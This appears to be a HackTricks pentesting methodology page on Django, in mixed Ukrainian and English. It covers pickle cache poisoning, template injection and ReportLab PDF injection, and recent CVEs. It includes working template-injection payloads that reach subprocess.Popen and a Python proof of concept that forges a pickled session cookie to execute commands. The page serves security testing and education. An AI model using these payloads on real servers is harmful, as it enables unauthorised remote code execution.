7.0 KiB
Raw Blame History

Django

{{#include ../../banners/hacktricks-training.md}}

Маніпуляція кешем для RCE

Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Якщо атакуючий може отримати права запису в кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері.

Кеш Django зберігається в одному з чотирьох місць: Redis, memory, files, or a database. Кеш, що зберігається в Redis server або database, є найімовірнішими векторами атаки (Redis injection and SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Maintainers have marked this as a non-issue. Важливо зазначити, що папка файлів кешу, назва SQL-таблиці та деталі Redis server будуть відрізнятися в залежності від реалізації.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. Якщо дані, надані користувачем, рендеряться як template string (наприклад, викликом Template(user_input).render() або коли |safe/format_html() видаляє автоекранування), атакуючий може досягти повного SSTI → RCE.

Виявлення

  1. Шукайте динамічні виклики Template() / Engine.from_string() / render_to_string(), які включають будь-які ненормалізовані дані запиту.
  2. Відправте тайм-орієнтований або арифметичний payload:
{{7*7}}

Якщо в результаті рендерингу з'являється 49, вхід компілюється шаблонним двигуном.

Примітив для RCE

Django блокує прямий доступ до __import__, але граф об'єктів Python доступний:

{{''.__class__.mro()[1].__subclasses__()}}

Знайдіть індекс subprocess.Popen (≈400500 залежно від збірки Python) і виконайте довільні команди:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

A safer universal gadget is to iterate until cls.__name__ == 'Popen'.

The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.


Also see: ReportLab/xhtml2pdf PDF export RCE

Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views як PDF. Коли HTML, контрольований користувачем, потрапляє до генерації PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок [[[ ... ]]], що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, and mitigations:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}}


Якщо налаштування SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' увімкнене (або використовується кастомний serializer, що десеріалізує pickle), Django decrypts and unpickles the session cookie before calling any view code. Тому наявність дійсного signing key (проектний SECRET_KEY за замовчуванням) достатньо для негайного remote code execution.

Exploit Requirements

  • Сервер використовує PickleSerializer.
  • Зловмисник знає / може вгадати settings.SECRET_KEY (leaks via GitHub, .env, error pages, etc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Надішліть отриманий cookie, і payload виконається з дозволами WSGI worker.

Заходи пом'якшення: Keep the default JSONSerializer, rotate SECRET_KEY, and configure SESSION_COOKIE_HTTPONLY.


Останні (2023-2025) CVE високого впливу Django, які повинні перевірити Pentesters

  • CVE-2025-48432 Log Injection via unescaped request.path (fixed June 4 2025). Дозволяє зловмисникам вводити символи нового рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Виправлено у версіях ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005 Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Сформуйте JSON keys так, щоб вийти з кавичок і виконати довільний SQL. Fixed in 4.2.15 / 5.0.8.

Завжди ідентифікуйте точну версію фреймворка через сторінку помилки X-Frame-Options або хеш /static/admin/css/base.css і тестуйте наведене, де це доречно.


Джерела

  • Повідомлення про безпеку Django "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
  • 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD https://0xdf.gitlab.io/2025/08/09/htb-university.html

{{#include ../../banners/hacktricks-training.md}}